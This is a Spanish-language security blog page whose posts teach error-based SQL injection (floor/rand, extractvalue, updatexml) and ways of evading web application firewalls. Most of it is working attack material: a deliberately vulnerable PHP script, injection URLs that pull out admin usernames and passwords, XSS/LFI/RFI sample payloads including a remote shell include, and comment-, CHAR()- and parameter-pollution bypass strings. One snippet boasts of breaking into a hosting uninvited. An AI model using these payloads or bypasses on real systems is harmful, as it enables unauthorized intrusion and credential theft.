Nuevas Entradas
Mostrando entradas con la etiqueta WAF. Mostrar todas las entradas
Mostrando entradas con la etiqueta WAF. Mostrar todas las entradas

Engañando al WAF con XMP



By [Q]3rV[0]

Me encontraba tratando de acceder a un hosting por X motivos, digamos que había "algo" interesante para llevarlo a uno a meterse donde no lo invitan,

Destripando la logica de una SQLI Error Based

by [Q]3rv[0]
Comenzamos desde lo basico, explicando por que un script vulnerable debe ser explotado de esta manera y no de otra.

 Acontinuación el código que se puede apreciar es vulnerable a sql injection.

<?php
include("conex.php");
$id=$_GET['id'];
$consulta2="SELECT id, blog FROM blogs WHERE id=".$id.";";
$consulta="SELECT username FROM users WHERE id=".$id.";";
$query=mysql_query($consulta, $conexion);
$query2=mysql_query($consulta2, $conexion);
$dumpeo2=mysql_fetch_array($query2);
$dumpeo=mysql_fetch_array($query);
if (isset($_GET['id'])) {
    if (!$dumpeo) {
        echo mysql_error();
}
    elseif (!$dumpeo2) {
        echo mysql_error();
}
    else {
        echo "<b>Nick: ".$dumpeo['username']."</b><p>";
        echo "<b>Blog: ".$dumpeo2['blog']."</b><p>";
}
}
?>

Como podemos ver al buscar la cantidad de columnas que esta seleccionando la consulta nos responde con el siguiente mensaje.


Esto se debe a que el parametro id esta siendo usado en dos consultas diferentes seleccionando ambas distinto numero de columnas

$consulta2="SELECT id, blog FROM blogs WHERE id=".$id.";";
$consulta="SELECT username FROM users WHERE id=".$id.";";


Por lo tanto nunca vamos a dar con la cantidad justa, es por eso que hay que recurrir a otro metodo.
La siguiente consulta devela a través del error de "entrada duplicada", el usuario que corre en la base de datos.

http://localhost/mysqli-lab/2.php?id=1 union select count(*),concat(user(),floor(rand()*2))x from information_schema.tables group by x limit 0,1--


Pero que es una entrada dulpicada, por que se produce? Miremos el siguiente error: Duplicate entry 'root@localhost0' for key 'group_key'

Nos centraremos en group_key o llave de grupo, el error se debe a que se hayo un mismo valor en la llave de grupo.

Antes que nada entendamos el termino de subquery.
Las subconsultas nos permiten optimizar tareas en la base de datos, un ejemplo sencillo, supongamos que queremos seleccionar campos de dos tablas distintas, por un lado tenemos la tabla users y por otro la tabla blogs, para obtener los datos en una sola sentencias seria de la siguiente manera:

Obviamente son usadas para realizar tareas mas elaboradas, como comparaciones entre distintos datos, etc

mysql> select username,(select blog from blogs limit 0,1)blog from users limit 0,1; 

+---------------+-------------------------------------+
| username      | blog                                |
|+--------------+-------------------------------------+
|    q3rv0      | http://securitysignal.tk            |
+---------------+-------------------------------------+

1 row in set (0.00 sec)[/code]

Llamemos al vector para volverlo a analizar

select count(*),concat(user(),floor(rand()*2))x from information_schema.tables group by x limit 0,1--

Para lograr un mayor entendimiento y comprensión hay que ir hasta el zotano, por eso vamos a realizar análisis desde la propia db.
Les propongo que dividamos la doble consulta, y expongamos la primera.

select count(*) from information_schema.tables group by concat(user(),floor(rand()*2)) limit 0,1;

Por logica quedaria asi, por que? Primero explicare un par de conceptos:

floor(rand()*2) : generara dos resultados "0" o "1" de manera aleatoria porque?.

mysql> select floor(rand()*2);

+-----------------+
| floor(rand()*2) |
+-----------------+
|               0 |
+-----------------+
1 row in set (0.00 sec)
mysql> select floor(rand()*2);

+-----------------+
| floor(rand()*2) |
+-----------------+
|               0 |
+-----------------+
1 row in set (0.00 sec)
mysql> select floor(rand()*2);

+-----------------+
| floor(rand()*2) |
+-----------------+
|               0 |
+-----------------+
1 row in set (0.00 sec)

mysql> select floor(rand()*2);

+-----------------+
| floor(rand()*2) |
+-----------------+
|               1 |
+-----------------+
1 row in set (0.00 sec)
mysql> select floor(rand()*2);

+-----------------+
| floor(rand()*2) |
+-----------------+
|               1 |
+-----------------+
1 row in set (0.00 sec)
la funcion rand() nos generara un valor aleatorio entre 0 y 0.xxxxxx

mysql> select rand();

+--------------------+
| rand()             |
+--------------------+
| 0.8679424085355759 |
+--------------------+
1 row in set (0.00 sec)

Si multiplicamos por  2 esos valores generara un resultado diferente, esta vez entre 0 y 1.xxxx

mysql> select rand()*2;

+-------------------+
| rand()*2          |
+-------------------+
| 0.947171253102991 |
+-------------------+
1 row in set (0.00 sec)

mysql> select rand()*2;

+--------------------+
| rand()*2           |
+--------------------+
| 1.5282018757687899 |
+--------------------+
1 row in set (0.00 sec)
floor() toma un numero flotante y lo presenta como entero, es decir si le pasamos el siguiente numero generado por rand().

mysql> select floor(1.5282018757687899);

+---------------------------+
| floor(1.5282018757687899) |
+---------------------------+
|                         1 |
+---------------------------+
1 row in set (0.00 sec)
Da como resultado 1

mysql> select floor(0.947171253102991);

+--------------------------+
| floor(0.947171253102991) |
+--------------------------+
|                        0 |
+--------------------------+
1 row in set (0.00 sec)


Da como resultado 0 La magia del floor(rand()*2) no se basa en que de como resultado unicamente 1 o 0, se basa en que nos provea de dos resultados diferentes y que se repitan si es posible, daría lo mismo que diera 4 o 5.

Ahora extraeremos una parte del primer vector para realizar otro análisis

select count(*),concat(user(),floor(rand()*2))x from information_schema.tables group by x limit 0,1--

Esa x al final de la subconsulta, bien podría ser cualquier letra como p,c,f,c actua como puntero del resultado de esa sentencia y es usado por "group by" para agrupar la salida según el resultado:

mysql> select concat(version(),floor(rand()*2))x;

+-----------+
| x         |
+-----------+
| 5.5.28-11 |
+-----------+
1 row in set (0.00 sec)
mysql> select concat(version(),floor(rand()*2))x;

+-----------+
| x         |
+-----------+
| 5.5.28-10 |
+-----------+
1 row in set (0.00 sec)

Entonces seria los mismo realizarla asi.

mysql> select count(*) from information_schema.tables group by concat(user(),floor(rand()*2));
ERROR 1062 (23000): Duplicate entry 'root@localhost0' for key 'group_key'

Pero si intentamos tirar este vector por el parametro "id" seguiremos obteniendo el mensaje

"The used SELECT statements have a different number of columns"

ya que requerimos de dos consultas por que el id hace referencia a ese numero como ya lo vimos en el codigo del script.

Bien hasta esta linea ya hemos entendido varios puntos claves en el funcionamiento del vector y vamos comprendiendo paso a paso el porque...

Segun las pruebas floor(rand()*2) genera dos valores aleatorios "0" o "1" group by aprovecha ese dato para realizar la agrupacion, el cual es fundamental ya que utilizaremos el error de entrada duplicada de la group_key para obtener la informacion.

Sabemos hasta ahora que al repetirse los valores generados por floor(rand()*2) se produce el "duplicate entry" en la group_key, por lo tanto nos tirar el valor que se duplica.

Si lo hicieramos sin user() obtendriamos.

mysql> select count(*) from information_schema.tables group by floor(rand()*2);
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'

Pero para obtener el nombre de usuario, la funcion user() se concatena con floor(rand()*2) para que sea disparado como valor duplicado, hay es donde toma protagonismo la subquery!.

Ejecutemos ahora el vector completo.

mysql> select count(*),concat(user(),floor(rand()*2))z from information_schema.tables group by z;

+----------+-----------------+
| count(*) | z               |
+----------+-----------------+
|      123 | root@localhost0 | -> floor(rand()*2)=0
|       75 | root@localhost1 | -> floor(rand()*2)=1
+----------+-----------------+
2 rows in set (0.00 sec)

Vemos que cuando no tira el error, ordena en dos grupos la cantidad de registros en la tabla (tables) obtenidos por count(*), si la tabla tuviera un solo registro seria imposible reproducir la entrada duplicada, se podria usar cualquier otra tabla ademas de tables.

Y una vez que el valor del orden del grupo se repite, BAM!

Espero que se haya comprendido, esta fue la manera mediante la cual logre asimilarlo realmente, realizando análisis en el mismo servidor, cualquier consulta, duda o error comenten!

Saludos!

SQLI Error Based extractvalue() & updatexml()

by [Q]3rv[0]

Quien conozca de inyecciones sabe bien que para explotar una Mysqli error based es necesario utilizar las funciones floor() y rand() .

Pero hay otra manera que se basa en aprovechar otro tipo de error, incluso es mucho mas sencilla de interpretar, además de ser un vector corto y eficaz.

Leyendo el blog de Dmitry Evteev en una entrada que había publicado en el 2009 (bastante viejita ya), encontré una forma de explotar un error based de una manera que llamo poderosamente mi atención.

La función extractvalue() sirve para extraer valores de un elemento XML, por ejemplo tenemos la siguiente cadena: <b>q3rv0</b>

Si quisiéramos extraer la palabra q3rv0 lo realizaríamos de la siguiente manera.


La manera de aprovechar esta función para que nos devuelva información es obligarla a realizar un error de sintaxis.

Que pasa si introducimos la funcion user() en el argumento que es utilizado para extraer ciertos valores.


Como vemos nos arroja el error, además del usuarios en la db.

El problema es que lo muestra entrecortado, para eso vamos a concatenar la salida.


Como podemos llevarla acabo mediante una inyección?

De la siguiente manera.



 

Mysqli EB con updatexml()


Para este tipo de metodo utilizaremos la funcion llamada updatexml().
Dicha función sirve para actualizar un elemento xml por otro.

Tenemos el siguiente codigo.

La sintaxis de updatexml() es la siguiente:



Entonces si quisieramos actualizar la porcion de codigo:


y cambiarlo por:


Lo hariamos de la siguiente manera.


Entonces para generar un error en la función podemos reemplazar el xpath_expr por nuestra consulta deseada concatenada para evitar cortes en la respuesta.


Referencia: http://devteev.blogspot.com.ar/2009/10/advanced-sql-injection-lab-full-pack.html


Saludos!

PWNEANDO el WAF!

 by [Q]3rv[0]
[0x1]   ------------ Que es un WAF?
[0x2]   ------------ Reconocimiento de un Firewall de aplicaciones web
[0x3]   ------------ Tecnicas de evacion SQL
[0x2a] ------------ Utilizando comentarios
[0x2b] ------------ Uso de la funcion CHAR()
[0x2c] ------------ HPP (Polucion de parametros HTTP)
[0x2d] ------------ HPF (Fragmentacion de parametros HTTP)

[0x1] Que es un WAF?

Ultimamente, me fui encontrando con aplicaciones que por algun motivo y siendo vulnerables me saltaban con un error del tipo 501 (method no implementado), o directamente al realizara algun tipo de inyeccion, el servidor me enviava un flag FIN y terminaba paradado con un mensajito de "The concexion was reSet", sospechoso, no?, por esta razon decidi escribir a cerca de los WAF (firewalls de aplicaciones web)

Para quien no conozco de su existencia, los WAF se encargan de mediar entre el cliente y servidor, filtrando la entrada de caracteres segun la configuracion de seguridad del mismo. Existen varios de estos, uno de los mas conocidos es ModSecurity, pero ademas de este muchas aplicaciones corren con: -Libhtp -Ironbee y demas...

Un WAF trabaja en la capa de aplicación, controlando la entrada de datos en protocolos como HTTP/HTTPS/SOAP/XML-RPC y según el trafico que se halle en la blacklist de su configuración enviaran un mensaje de alerta ante determinado vector de ataque tales como: http://vulnpage/alal.php?vuln=9999

XSS <script>alert(/waf/)</script>
SQLI http://vulnpage/alal.php?vuln=9999'+or+'5'>='3-- 
LFI http://vulnpage/alal.php?vuln=../../../../../lol
RFI http://vulnpage/alal.php?vuln=http://lol.com/shell.txt?
ETC...

[0x2] Reconocimiento de un Firewall de aplicaciones web

Como descubrimos la presencia de un WAF en la aplicacion?
Generalmente las respuestas de tipo:

- 501 (method not implemented) - Conexion reseteada por parte del servidor
- Mensaje 403 - Redireccionamiento hacia la pagina de inicio

Estos son indicios de la presencia de algun tipo de mediador que nos esta complicando la intrusión! Una de las maneras de obtener el tipo de waf que protege un servidor, es indagando dentro de las respuestas en las cabeceras http.

Para ello, si estamos en duda de que la aplicación corre con un firewall web, podemos usar el buscador shodan, para cersiorarnos de que en realidad es asi.

Dork: "host:"Underterminal.com" Mod_security enabled" Informacion del tipo y version de WAF en la cabecera Server.
 
HTTP/1.0 200 OK
Date: Mon, 10 Sep 2012 20:25:38 GMT 
Server: Mod_Security 2.5.9 enabled
Last-Modified: Wed, 13 Jul 2011 07:12:51 GMT
ETag: "c902e9-2c-4a7ee24f602c0"
Accept-Ranges: bytes
Content-Length: 44
Vary: Accept-Encoding,User-Agent
Content-Type: text/html 
Otra es usando herramientas o scripts que se encarguen de realizar un fingerprinting sobre estos como por ejemplo http-waf-detect.nse, un motor encargado de la deteccion de waf's incorporado en nmap. Podemos utilizarlo de la siguiente manera:

nmap -Pn -n -vv -T2 --script=http-waf-detect.nse "TARGET"
Para profundizar sobre Nmap: http://resources.infosecinstitute.com/nmap-cheat-sheet-part-4/  

[0x3] Tecnicas de Evacion SQL
[0x3a] Utilizando comentarios
Las tecnicas de evacion de waf, se centran en engañar al firewall para inyectar los caracteres que se encuentran en la "Blacklist", hay varios metodos de evacion, veamos algunos implementandolos en inyecciondes SQLI

Los comentarios /*!*/ pueden ser utilizados para vestir a ciertas sentencias que dejan una alerta en la aplicación, veamos el siguiente ejemplo. El siguiente path es vulnerable a sqli.

http://somepage/intranet.php?id=[SQLI]

"MYSQL ERROR en la sintaxis" Enumeramos columnas de la tabla.

http://somepage/intranet.php?id=9999+order+by+5

FALSE!, hasta ahora sabemos que la tabla que interactua con el script intranet.php posee 4 columnas, vamos a ver que pasa con la tecnica UNION.

http://somepage/intranet.php?id=9999+UNION+SELECT+1,2,3,4+AND+1=1


501 METHOD NOT IMPLEMENTED! LOL!

Una vez que se realizo el reconocimiento de algún tipo de WAF en la aplicacion, ya sabemos que hay alguna clausula que esta siendo filtrada por este. Tratemos de evadir la blacklist, utilizando los tag: /**/ o /*!*/

http://somepage/intranet.php?id=9999+/*!UNION*/+/*!SELECT*/+1,2,3,4+/*!AND*/+1=1
Bien, hemos logrado saltarnos la pared del WAF. Utilizando /**/ como %20:
http://somepage/intranet.php?id=9999/**//*!UNION*//**//*!SELECT*//**/1,2,3,4/**//*!AND*//**/1=1

De ahora en mas podemos ir variando la estructura de la sentencia, una manera seria cortar cada clausula con /**/ Tambien podemos utilizar dobles clausulas en el mismo vector:
http://somepage/intranet.php?id=9999+/*UNION*/+UNION+/*SELECT*/+SELECT+1,2,3,4+/*AND*/+1=1

Fijense como una esta entre los tags /**/ y otra no.

[0x3b] Uso de la funcion CHAR() 

CHAR() es una funcion sql que basicamente transforma un caracter/s en ascii a string. pP ejemplo

q=113 mysql>
SELECT ASCII('q');


mysql>
SELECT CHAR(113);


SELECT CHAR(91, 81, 93, 51, 114, 86, 91, 48, 93);


Entonces ya nos podemos ir dando una idea de como ofuscar nuestro vector.

http://somepage/intranet.php?id=9999+UNION+SELECT+1,2,3,4+AND+1=1
Quedaria mas o menos de la siguiente manera vistiendo a UNION & SELECT

http://somepage/intranet.php?id=9999+CHAR(117, 110, 105, 111, 110)+CHAR(115, 101, 108, 101, 99, 116)+1,2,3,4+AND+1=1

[0x3c] HPP (Polucion de parametros HTTP) 

La vulnerabilidad HPP puede ser aprovechada para insertar nuestros vectores en la aplicacion y asi poder decierle al WAF "OWNED BABY!" Pero que es HPP?????

HPP (Polucion de parametros HTTP)
 
HPP es una vulnerabilidad web que no tiene muchos años de nacida, fue descubierta en el 2009, esta tecnica se centra en inyectar varios valores en un mismo parametro, bien, ustedes se deben estar preguntando, pero de que me sirve ante la evacion de un firewall web??

Sabemos que los usuarios interactuan con aplicaciones dinamicas a travez de un parametro, hay variable que almacenan varios valores, pero otras que se encargan de almacenar 1 solo valor, en ese tipo de var que pasaria si le introdujeran dos valores diferentes??

Segun la tecnlogia que utilice la aplicacion reaccionara de determinada forma, aca les pongo un par de ejemplos de como toman 2 o mas valores distintas tecnologias web.

ASP.NET/IIS -------------------> concacatena dos o mas valores con una coma ejemplo: id=q3rv0,[Q]3rV[0]

PHP/APACHE ---------------------> imprime el segundo valor de 2
ejemplo: id=q3rv0&id=[Q]3rv[0]

lo que se interpretara en el servidor sera el segundo valor [Q]3rv[0] Bien vallamos a la accion, los WAF's generalmente verifican cadas variable por separado, es decir si utilizamos el siguiente vector para ofucar codigo aprovechando un HPP

http://somepage/intranet.aspx?id=9999+OR+1=COVERT(INT,(@@VERSION))--

Evacion:

http://somepage/intranet.aspx?id=9999+CONVERT(INT&id=(@@VERSION))--

Con esto engañariamos al firewall debido a que no podra identificar el vector de ataque entero. Por lo tanto al tratarse de ASP.NET y sabiendo que concatena dos valores con coma el codigo se ejecutaria de la siguiente manera en el server.

SELECT user_name FROM usuarios WHERE id= 9999+OR+1=COVERT(INT,(@@VERSION))--

OWNEANDO al WAF y obeteniendo la version del DBMS.

Otra manera de darle mas dinamismo a esta tecnica es utilizando /**/ entre las variables Que pasaria si el WAF nos detectara la inyeccion anterior por que tomaria como ofensivo el vector:

id=9999+CONVERT(INT si desearamos usar mas parametros para evadirlo asi:

http://somepage/intranet.aspx?id=9999&id=OR+1=&id=CONVERT&id=(INT&id=(@@VERSION))--

La inyeccion se procesaria de esta manera en la base de datos:

SELECT user_name FROM usuarios WHERE id=9999,OR+1=,CONVERT,(INT,(@@VERSION))--

Esto daria error de sintaxis, para solucionarlo utilizaremos nuestra amiga /**/ vistiendo cada parametro Quedando de la siguiente manera:

http://somepage/intranet.aspx?id=9999/*&id=*/OR+1=/*&id=*/CONVERT/*&id=*/(INT&id=(@@VERSION))--

Ahora si podemos decir OWNED BABY!

[0x3d] HPF (Fragmentacion de parametros HTTP)

La fragmentacion de parametros HTTP me recuerda a cuando utilizamos la opcion -f de nmap para fragmentar paquetes IP y asi evadir las estrictas reglas del firewall, esta tecnica no es muy diferente a la que mencione anteriormente (HPP), la unica diferencia es que podemas usarla algun path que utilize varios parametros por ejemplo tenemos la siguiente url:

http://url.com/index.aspx?id=1&nan=2&lala=3

Podemos fragmentar el vector de ataque entre las variables id= nan= lala= Supongamos que el servidor corre coN una base de datos MYSQL que no es muy comun, en su mayoria las web que utilizan tecnologia ASP.NET o ASP, corren con algun SQL SERVER 200* Inyectando normalmente:

http://url.com/index.aspx?id=1 UNION SELECT 1,2,concat(username, 0x3a, password)+FROM+admin+LIMIT+1,1-- &nan=2&lala=3

Para fragmentar dicho vector y siempre recordando que ASP.NET concatena 2 o mas valores con , podriamos intentar asi:

http://url.com/index.aspx?id=1+UNION+SELECT+1/*&nan=*/2,concat(username, 0x3a, password)/*&lala=*/FROM+admin+LIMIT+1,1--

Podemos usar la imaginacion para moldear varios tipos de ataque con ambas tecnicas, recordando siempre y cuando como trabaja y toma los valores la tecnologia que corre en el servidor.

http://lalala/index.aspx?id=1+UNION+SELECT+1/*&nan=*/[/color]2,concat(username, 0x3a, password)/*&lala=*/FROM+admin+LIMIT+1,1--

Saludos!!
 
Copyright © 2014 Security Signal.
Designed by OddThemes | Distributed By Gooyaabi Templates